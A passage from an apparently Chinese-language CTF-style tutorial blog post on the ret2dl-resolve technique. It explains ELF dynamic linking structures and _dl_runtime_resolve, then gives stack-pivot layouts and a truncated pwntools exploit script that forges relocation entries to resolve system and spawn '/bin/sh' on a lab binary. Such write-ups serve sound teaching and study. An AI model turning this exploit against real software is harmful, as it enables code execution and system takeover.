class="line">1</span><br></pre></td><td class="code"><pre><span class="line">readelf -d </span><br></pre></td></tr></table></figure><p>来查看dynamic(重定位节):<br><img src="/2017/04/09/ret2dl-resolve/resolve05.png" alt=""><br>这里我们关注这四个节:</p><ul><li>JMPREL : <strong>.rel.plt</strong>的开始位置，是一个记录了动态重定位表的<strong>segment</strong></li><li>REL: 重定位函数段开始的位置，也就是之前提到的，函数再跳转至**.plt**段之后返回，之后第二次跳转的位置。</li><li>RELSZ: 重定位表单总共的大小，32bytes</li><li>RELENT: 每一个表单的大小，8 bytes<br>通过分析，我们能够找到程序定义的重定位表的开始位置，同时我们可以从上述得知，我们此时<strong>共有四项需要被重定位</strong>的内容。我们用<br>readelf -a<br>整体查看一下:<br><img src="/2017/04/09/ret2dl-resolve/resolve06.png" alt=""><br>这个.rel.dyn中存放的是需要重定位的变量，而**.rel.plt**则是存放了我们需要重定位的函数。这个段中的函数的数据结构为:</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    Elf32_Addr r_offset;    </span><br><span class="line">    Elf32_Word r_info;      </span><br><span class="line">&#125; Elf32_Rel;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ELF32_R_SYM(info) ((info)&gt;&gt;8)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ELF32_R_TYPE(info) ((unsigned char)(info))</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ELF32_R_INFO(sym, type) (((sym)&lt;&lt;8)+(unsigned char)(type))</span></span><br></pre></td></tr></table></figure><p>也就是说，前面一段存放的是当前函数的偏移量，后面存放的则是当前函数的信息。我们看还未运行时候的read中存放的是:<br><img src="/2017/04/09/ret2dl-resolve/resolve07.png" alt=""><br>正好就是我们开始讨论的那个read跳转到的<code>.got.plt</code>的地址，在结构体中就是<strong>r_offset</strong>。<br>然而光知道上述信息，我们怎么能够在动态链接中找到我们指定的函数呢？这里就要谈到另一个节**.dynsym**<br><img src="/2017/04/09/ret2dl-resolve/resolve08.png" alt=""><br>这个节存放的是所有动态符号表中所包含的符号，也就是.rel的集合。这个表中的内容的结构体为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    Elf32_Word st_name;     <span class="comment">// 符号的名字(在str tbl中的下标)</span></span><br><span class="line">    Elf32_Addr st_value;    <span class="comment">// 符号对应的值</span></span><br><span class="line">    Elf32_Word st_size;     <span class="comment">// 符号的大小</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> st_info;  <span class="comment">// 符号的种类和绑定情况</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> st_other; <span class="comment">// Symbol visibility under glibc&gt;=2.2</span></span><br><span class="line">    Elf32_Section st_shndx; <span class="comment">// 当前所在节的下标</span></span><br><span class="line">&#125; Elf32_Sym;</span><br></pre></td></tr></table></figure><p>然后可以看到我们例子中的read为<br><img src="/2017/04/09/ret2dl-resolve/resolve09.png" alt=""><br>我们回到上述。rel.plt图中所示，我们的read-&gt;r_info == 0x107，此时的ELF32_R_SYM(info)(字面理解就是<strong>在.dynsym中的偏移位置</strong>)就是1，正好就是第一条数据。此时read中存放的st_name = 0x27,然后我们此时会去相应的.dynstr节中查找对应的下表指向的字符串:<br><img src="/2017/04/09/ret2dl-resolve/resolve10.png" alt=""><br><img src="/2017/04/09/ret2dl-resolve/resolve11.png" alt=""><br><img src="/2017/04/09/ret2dl-resolve/resolve12.png" alt=""><br>通过上述方法，我们就能够找到&quot;read&quot;这个符号。我们这里可以回想一下PA实验(或者所gdb中)是如何完成<strong>变量表达式求值</strong>这个过程的：我们首先将字符串读入一个函数中，然后我们便利所有的符号表，从而找到一个符号名字与我们提供的字符串的名字相同的符号，然后再在相应的符号表中查询对应的值。类比一下的话，这个动态链接函数的过程也就是类似的:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// param link_map:链接标识符</span></span><br><span class="line"><span class="comment">// param reloc_offset:就是我们在调用函数的时候传进去的那个参数</span></span><br><span class="line"></span><br><span class="line">_dl_runtime_resolve(<span class="keyword">struct</span> link_map *l, ElfW(Word) reloc_offset)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// 首先找到plt中的相对位置，也即是.rel.plt中的对象ELF_rel</span></span><br><span class="line">    <span class="type">const</span> PLTREL *<span class="type">const</span> reloc = (<span class="type">const</span> <span class="type">void</span> *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);</span><br><span class="line">    <span class="comment">// 然后找到.dynsym中的Elf_Sym对象</span></span><br><span class="line">    <span class="type">const</span> <span class="title function_">ElfW</span><span class="params">(Sym)</span> *sym = &amp;symtab[ELF32_R_SYM(reloc-&gt;r_info)];</span><br><span class="line">    <span class="comment">// 检查reloc-&gt;r_info的最低位R_386_JUMP_SLOT=7</span></span><br><span class="line">    assert (ELFW(R_TYPE)(reloc-&gt;r_info) == ELF_MACHINE_JMP_SLOT);</span><br><span class="line">    <span class="comment">// 通过加上strtab加上st_name，得到当前函数对应的字符串名，最后返回result</span></span><br><span class="line">    result = _dl_lookup_symbol_x (strtab + sym-&gt;st_name, l, &amp;sym, l-&gt;l_scope, version, ELF_RTYPE_CLASS_PLT, flags, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="comment">// 通过查找对应字符串，找到此时的read的函数地址</span></span><br><span class="line">    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym-&gt;st_value) : <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// 最后把地址填充到之前那个位置上</span></span><br><span class="line">    <span class="keyword">return</span> elf_machine_fixup_plt (l, result, reloc, rel_addr, value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此处的<code>link_map</code>为一个很长长长长的结构体，里面的结构大致如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">link_map</span></span></span><br><span class="line"><span class="class">  &#123;</span></span><br><span class="line">    <span class="comment">/* These first few members are part of the protocol with the debugger.</span></span><br><span class="line"><span class="comment">       This is the same format used in SVR4.  */</span></span><br><span class="line"></span><br><span class="line">    ElfW(Addr) l_addr;      <span class="comment">/* Base address shared object is loaded at.  */</span></span><br><span class="line">    <span class="type">char</span> *l_name;       <span class="comment">/* Absolute file name object was found in.  */</span></span><br><span class="line">    ElfW(Dyn) *l_ld;        <span class="comment">/* Dynamic section of the shared object.  */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l_next</span>, *<span class="title">l_prev</span>;</span> <span class="comment">/* Chain of loaded objects.  */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* All following members are internal to the dynamic linker.</span></span><br><span class="line"><span class="comment">       They may change without notice.  */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* This is an element which is only ever different from a pointer to</span></span><br><span class="line"><span class="comment">       the very same copy of this type for ld.so when it is used in more</span></span><br><span class="line"><span class="comment">       than one namespace.  */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l_real</span>;</span></span><br><span class="line">    ......</span><br></pre></td></tr></table></figure><p>是一个用来记录当前进程中的每一个<code>.so</code>文件的基本信息，里面包含了一些与函数导入相关的内容。</p><p>调用这个<code>_dl_runtime_resolve</code>的时候，主要操作为:</p><ol><li>首先找到plt中的相对位置，也即是.rel.plt中的对象ELF_rel<code>reloc = (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);</code></li><li>利用这个reloc计算得到.dynsym中的ELF_rel的位置<code>&amp;symtab[ELF32_R_SYM(reloc-&gt;r_info)]</code></li><li>然后利用偏移量找到当前动态链接函数对应的字符串<code>strtab + sym-&gt;st_name</code></li><li>利用字符串和<code>link_map</code>结合，在进程中将函数给找出来。</li></ol><p>以上过程便是<code>ret2dl-resolve</code>攻击方式需要知道的工作流程。接下来我们介绍针对这个流程的几个弱点进行的攻击思路。</p><h2 id="攻击方法">攻击方法</h2><p>在讨论攻击方法之前，我们首先要明白动态链接过程中的关键参数:</p><ul><li>当前函数传入的，自身在<code>.rel.plt</code>节中的偏移量</li><li>通过偏移量找到的当前函数的对应的动态链接的函数名字符串</li></ul><p>首先通过<code>reloc_offset</code>能够找到当前函数在<code>.rel.plt</code>中的偏移量，然后能够找到函数在动态链接库中存放的字符串，从而能够定位到函数本身的地址。因此这个过程中可以<strong>针对这两个地方进行攻击</strong></p><p>同时，根据上述提到的方法，我们能够总结出当前攻击的特征：</p><ul><li>需要存在栈溢出点</li><li>不需要泄露libc的地址，即可完成攻击</li><li>可以使用到未在导入表中出现过的函数</li><li>需要一点点ROP</li></ul><h3 id="非典型的攻击手段-直接伪造整个-dynstr动态链接的函数名称字符串">非典型的攻击手段(直接伪造整个.dynstr动态链接的函数名称字符串)</h3><p>此方法相对简单，但是其需要的条件比较苛刻</p><ul><li>此时允许读入的字符串数量较大</li><li>在完成构造之后，需要存在至少一个未进行延迟绑定的函数。</li></ul><p>这次的题目提供的解法关键就是修改这个**.dynstr**节。我们把这个节里面指定的字符串改成我们指定的字符串，那么这个_dl_fixup在查找的时候就会去查找我们修改过的函数的地址，从而调用我们想要调用的函数:<br><img src="/2017/04/09/ret2dl-resolve/resolve13.png" alt=""><br>也就是说，攻击成功的关键就在于找到.dynstr的位置。我们首先使用<br>readelf -a infoless<br>找到.dynstr的地址:<br><img src="/2017/04/09/ret2dl-resolve/resolve14.png" alt=""><br>也就是说，我们需要把这个地址改成我们伪造的字符串地址。这个.dynstr的规则是:</p><ul><li>开头是空字符</li><li>字符串之间用\x00相间隔<br>然后我们需要找到这个地址存放的地方，从而将这个地址修改成指定的字符串地址。使用<code>readelf -R .dynamic infoless </code>指令能够看到当前程序中的<code>.dynamic</code>段中所有的entries的地址，在这里能够找到这个.dynstr所在的位置。<br><img src="/2017/04/09/ret2dl-resolve/resolve15.png" alt=""><br>最终通过将这个红框中的地址换成我们伪造了的动态链接的函数名称字符串的地址，从而让解析过程总，将指定的函数（这里以fflush为例子）解析成我们指定的函数。</li></ul><h3 id="典型攻击手段-修改偏移量">典型攻击手段(修改偏移量)</h3><p>之前提到，整个的搜索流程最依赖的就是传入的<code>reloc_offset</code>，也就是整个流程中最开始的确认的位置。如果我们修改了<code>reloc_offset</code>，我们刚刚提到的四个流程中，除了得到动态链接库中对应函数的字符串外，其他的结构体都需要进行伪造。不过相对的，这里只需要能够伪造我们选择的一个函数即可。</p><p>攻击的流程需要做到如下的事情:</p><ul><li>伪造某个函数的<code>_dl_runtime_resolve(struct link_map *l, ElfW(Word) reloc_offset)</code>过程，具体来说就是通过修改传入参数offset，让整个识别过程偏移到一个我们可控的区域内，然后完成对变量<code>ElfW(Sym)</code>，<code>ELF_rel</code>以及<code>Symtab</code>三个值的伪造，从而伪造整个动态绑定的过程</li><li>使用ROP手段，控制函数的栈，让函数栈能够迁移到整个伪造的攻击栈上</li></ul><p>首先这里的ROP链构造，我们构造如下栈</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+---------------------+</span><br><span class="line">|     pop ebp; ret    |</span><br><span class="line">+---------------------+</span><br><span class="line">|   fake_stack_addr   |</span><br><span class="line">+---------------------+</span><br><span class="line">|     leave ; ret     |</span><br><span class="line">+---------------------+</span><br></pre></td></tr></table></figure><p>通过将栈构造成如上的形式，首先利用pop,将ebp的地址修改程我们指定的一个栈的起始地址，然后通过leave指令，将当前的ebp的值传递给esp，从而实现将整个栈迁移到fake_stack_addr的功能。</p><p><em>tips:leave这个指令执行完esp &lt;- ebp之后，还会执行一次pop，所以在整个fake_stack_addr_的最开始要放入一个padding用于传递给ebp</em></p><p>之后esp就相当于指向了一个受控制的栈。在这个栈中，我们尝试去调用一个<code>_dl_runtime_resolve</code>，进行一次伪造的动态函数地址绑定。接着上面的栈，此时我们的栈内容为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">+---------------------+</span><br><span class="line">|       padding       |</span><br><span class="line">+---------------------+</span><br><span class="line">| addr_push_link_map  |</span><br><span class="line">+---------------------+</span><br><span class="line">|   fake_rel_offset   |</span><br><span class="line">+---------------------+</span><br><span class="line">|      ret_addr       |</span><br><span class="line">+---------------------+</span><br><span class="line">|        arg1         |</span><br><span class="line">+---------------------+</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里的ret_addr和arg1可以通过动态调试得知。ret_addr为当前整个绑定完成之后会回到的返回地址，而arg1则是发生绑定过程中所调用的函数所在的位置。在攻击的最后一步，需要在arg1的为之中填写我们需要调用的参数（例如我们最后将函数绑定到了system函数上，此处我们就应该填写<code>/bin/sh</code>的地址）</p><p>这里我们要伪造成任意一个函数调用<code>_dl_runtime_resolve</code>的样子。设此时我们伪造的Elf32_Rel结构体起始地址为fake_reloc，这个fake_rel_addr最好设置程<code>.bss</code>段上的一个位置。由于rel_offset在函数中_dl_runtime_resolve的用法如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Elf32_Rel reloc = addr(.rel.plt) + reloc_offset</span><br></pre></td></tr></table></figure><p>则此时我们需要伪造的rel_offset为</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fake_rel_offset = fake_reloc - addr(.ret.plt)</span><br></pre></td></tr></table></figure><p>之后我们来讨论关于这个fake_reloc的伪造过程。<br>首先这个fake_reloc的结构体为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    Elf32_Addr r_offset;    </span><br><span class="line">    Elf32_Word r_info;      </span><br><span class="line">&#125; Elf32_Rel;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ELF32_R_SYM(info) ((info)&gt;&gt;8)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ELF32_R_TYPE(info) ((unsigned char)(info))</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ELF32_R_INFO(sym, type) (((sym)&lt;&lt;8)+(unsigned char)(type))</span></span><br></pre></td></tr></table></figure><p>第一个变量中填写了需要重定位的函数的<code>.got</code>表地址，此处可以随意选择一个函数作为触发，这里以fflush函数为例。之后的r_info则是会跳转到<code>Elf32_Sym</code>结构体上:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Elf32_Sym *sym = &amp;symtab[ELF32_R_SYM(reloc-&gt;r_info)];</span><br><span class="line">assert (ELFW(R_TYPE)(reloc-&gt;r_info) == ELF_MACHINE_JMP_SLOT);</span><br></pre></td></tr></table></figure><p>这里我们发现，程序会检查reloc-&gt;r_info，观察其低八位是否为ELF_MACHINE_JMP_SLOT（也就是0x07)。因此我们可以让我们的fake_Elf32_Sym的地址按照0x100对齐。同时，因为是以取地址的形式进行的，所以这个地址需要按照0x10（也就是一个ELF32_Sym结构体的大小）进行安排。此处我们这个<code>Elf_Rel</code>结构体应该为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">+---------------------+</span><br><span class="line">|   fflush@got.addr   |</span><br><span class="line">+---------------------+</span><br><span class="line">|     fake_r_info     |</span><br><span class="line">+---------------------+</span><br></pre></td></tr></table></figure><p>其中<code>fake_sym_addr</code>和<code>fake_r_info</code>满足数学关系</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">fake_r_info&amp;&amp;0xff == 0x07</span><br><span class="line">fake_sym_addr = fake_r_info / 0x10 + sym_addr</span><br></pre></td></tr></table></figure><p>然后是结构体Elf32_Sym结构体，结构体如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    Elf32_Word st_name;     <span class="comment">// 符号的名字(在str tbl中的下标)</span></span><br><span class="line">    Elf32_Addr st_value;    <span class="comment">// 符号对应的值</span></span><br><span class="line">    Elf32_Word st_size;     <span class="comment">// 符号的大小</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> st_info;  <span class="comment">// 符号的种类和绑定情况</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> st_other; <span class="comment">// Symbol visibility under glibc&gt;=2.2</span></span><br><span class="line">    Elf32_Section st_shndx; <span class="comment">// 当前所在节的下标</span></span><br><span class="line">&#125; Elf32_Sym;</span><br></pre></td></tr></table></figure><p>现在已经到了最后的阶段，此时我们只需要修改一个<code>st_name</code>，让这个st_name指向一个我们可控的字符串地址，之后的内容可以完全照搬内存中的值:<br><img src="/2017/04/09/ret2dl-resolve/resolve09.png" alt=""><br>此时的结构为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">+---------------------+</span><br><span class="line">|    fake_st_name     |</span><br><span class="line">+---------------------+</span><br><span class="line">|         0           |</span><br><span class="line">+---------------------+</span><br><span class="line">|         0           |</span><br><span class="line">+---------------------+</span><br><span class="line">|         12          |</span><br><span class="line">+---------------------+</span><br></pre></td></tr></table></figure><p>此时fake_st_name要满足</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fake_st_name = func_name_addr - addr(.dynstr)</span><br></pre></td></tr></table></figure><p>至此，整个动态绑定就完成了。完成后，当前的fflush函数就会绑定到另一个函数身上，完成控制流的截获。</p><h4 id="整体攻击流程">整体攻击流程</h4><p>首先，我们利用当前栈溢出，控制函数调用read函数，从而进行输入的控制:<br><img src="/2017/04/09/ret2dl-resolve/resolve18.png" alt=""><br>这里注意，由于我们需要切栈，所以我们还需要一次ROP的机会，要让函数回到这个可以被exploit的函数上。</p><p>之后我们伪造当前的栈，以及在此处伪造动态绑定，结构体如图所示<br><img src="/2017/04/09/ret2dl-resolve/resolve16.png" alt=""><br>在最后的位置，我们可以往其中塞入一些字符串，例如说调用的函数&quot;system&quot;的字符串，以及要调用的&quot;/bin/sh&quot;字符串等。于是之后，我们可以将当前构造改造为:<br><img src="/2017/04/09/ret2dl-resolve/resolve17.png" alt=""></p><p>这里比较麻烦的是确定<code>fake_r_info</code>，因为我们需要满足的条件为</p><ul><li>fake_r_info&amp;&amp;0xff == 0x07</li><li>fake_sym_addr = fake_r_info / 0x10 + symtab_addr</li></ul><p>则此时我们可以基于之前的地址来求当前地址的位置:</p><ul><li>首先我们在<code>fake_rel_offset</code>的基础上+8，跳过当前结构体</li><li>然后我们在这个地址的基础上强行计算当前地址，即<code>fake_sym_addr = fake_rel_offset+0x8 - symtab_addr</code></li><li>这个基础上，我们检查其对其的偏差值，即<code>align = 0x10 - (fake_sym_addr &amp; 0xf)</code></li><li>最后我们重新计算fake_sym_addr的值，即<code>fake_sym_addr = align + fake_sym_addr</code></li><li>最后用得到的<code>fake_sym_info</code>计算，就能得到我们此时填写的内容为<code>fake_r_info = ((fake_sym_addr - symtab_addr) / 0x10) | 0x7</code></li></ul><p>之后我们的fake_st_name就可以填写我们之前确定的&quot;system&quot;的字符串的地址减去strtab_addr的偏移量，即可完成构造</p><p>第二次来到受攻击的函数上后，我们布置好ROP链，就能够将esp转移到<code>.bss</code>段上，完成攻击。<br><img src="/2017/04/09/ret2dl-resolve/resolve19.png" alt=""></p><p>附上这种方法的exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8    -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">True</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    ph = process(<span class="string">&quot;./infoless.infoless&quot;</span>)</span><br><span class="line">    context.log_level =<span class="string">&quot;debug&quot;</span></span><br><span class="line">    context.terminal = [<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">    gdb.attach(ph, <span class="string">&quot;break *0x080484dc&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&quot;127.0.0.1&quot;</span>,<span class="number">9999</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># base address</span></span><br><span class="line">vul_addr = <span class="number">0x080484CB</span></span><br><span class="line">read_plt_addr = <span class="number">0x08048380</span></span><br><span class="line">read_got_addr = <span class="number">0x08049cac</span></span><br><span class="line">bss_addr = <span class="number">0x08049820</span></span><br><span class="line">dlresolve_addr = <span class="number">0x08048370</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># FAKE FRAME</span></span><br><span class="line">base = bss_addr + <span class="number">0x400</span></span><br><span class="line">fake_frame = base + <span class="number">0x80</span></span><br><span class="line">rel_plt_addr = <span class="number">0x08048320</span></span><br><span class="line">symtab_addr = <span class="number">0x80481bc</span></span><br><span class="line">strtab_addr = <span class="number">0x804825c</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># attack tool</span></span><br><span class="line">exp_padding = <span class="string">&#x27;a&#x27;</span>*<span class="number">22</span></span><br><span class="line">padding = <span class="string">&#x27;aaaa&#x27;</span></span><br><span class="line">pop_ebp = <span class="number">0x080485bb</span></span><br><span class="line">lev_addr = <span class="number">0x08048438</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">call_read</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot; first time call read, prepare the fake frame and set the rop at the end</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># jmp to read</span></span><br><span class="line">    buf = <span class="string">&quot;&quot;</span></span><br><span class="line">    buf += exp_padding</span><br><span class="line">    buf += p32(read_plt_addr)</span><br><span class="line">    buf += p32(vul_addr)</span><br><span class="line">    buf += p32(<span class="number">0</span>)</span><br><span class="line">    buf += p32(base)</span><br><span class="line">    buf += p32(<span class="number">0x1000</span>)</span><br><span class="line">    buf += <span class="string">&#x27;a&#x27;</span>*(<span class="number">60</span> - <span class="built_in">len</span>(buf))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> buf</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">align_sym_addr</span>(<span class="params">rel_offset, symtab_addr</span>):</span><br><span class="line">    sym_addr = rel_offset + <span class="number">0x8</span> - symtab_addr</span><br><span class="line">    align = <span class="number">0x10</span> - sym_addr &amp; <span class="number">0xf</span></span><br><span class="line">    sym_addr = align + sym_addr</span><br><span class="line">    <span class="keyword">return</span> sym_addr + symtab_addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fill_fake</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot; this time we prepare fake frame to call runtime_dl_resolve and prepare for </span></span><br><span class="line"><span class="string">        our attack address</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># calc all fake address</span></span><br><span class="line">    <span class="comment"># first prepare call _runtime_dl_resolve</span></span><br><span class="line">    <span class="comment"># because we have padding and others thing at here, we could give </span></span><br><span class="line">    <span class="comment"># empty space to do others thing here</span></span><br><span class="line">    fake_base = fake_frame</span><br><span class="line">    fake_rel_offset = fake_base - rel_plt_addr</span><br><span class="line">    <span class="comment"># and we could fulfill r_offset with read_got</span></span><br><span class="line">    <span class="comment"># then we calc the r_info</span></span><br><span class="line">    log.info(<span class="string">&quot;fake_base is %x&quot;</span>%fake_base)</span><br><span class="line">    fake_sym_addr = align_sym_addr(fake_base, symtab_addr)</span><br><span class="line">    log.info(<span class="string">&quot;fake_sym_info is %x&quot;</span>%fake_sym_addr)</span><br><span class="line">    fake_r_info = (((fake_sym_addr - symtab_addr) / <span 